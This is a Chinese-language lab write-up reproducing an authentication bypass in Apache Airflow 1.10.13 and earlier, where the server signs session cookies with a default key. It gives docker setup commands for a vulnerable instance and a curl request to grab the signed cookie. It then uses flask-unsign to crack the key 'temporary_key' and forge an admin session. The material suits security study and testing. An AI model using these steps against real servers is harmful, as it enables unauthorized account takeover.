漏洞介绍
Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
漏洞环境
执行如下命令启动一个Apache Airflow 1.10.10服务器:
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
启动环境后,访问http://ip:8080即可登录web页面
漏洞复现
1、访问登录页面,服务器返回一个签名后的cookie
curl -v http://ip:8080/admin/airflow/login
2、使用flask-unsign这个工具来爆破签名时使用的SECRET_KEY:
#flask-unsign下载地址
https://github.com/Paradoxis/Flask-Unsign
#下载方法
1、安装应用程序
pip3 install flask-unsign[wordlist]
2、安装核心代码,省略[wordlist]
pip3 install flask-unsign
3、要安装该工具用于开发目的,请运行以下命令(下载副本后):
pip3 install -e .[test]
4、使用工具介绍 flask-unsign 安装成功
#mac安装遇到的问题,
zsh: no matches found: flask-unsign[wordlist]
打开.zshrc open -e .zshrc
写入 setopt no_nomatch
终端输入 source .zshrc
flask-unsign -u -c [session from Cookie]
成功爆破出Key是temporary_key。使用这个key生成一个新的session,其中伪造user_id为1:
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
在浏览器使用新生成的cookie,可成功登陆了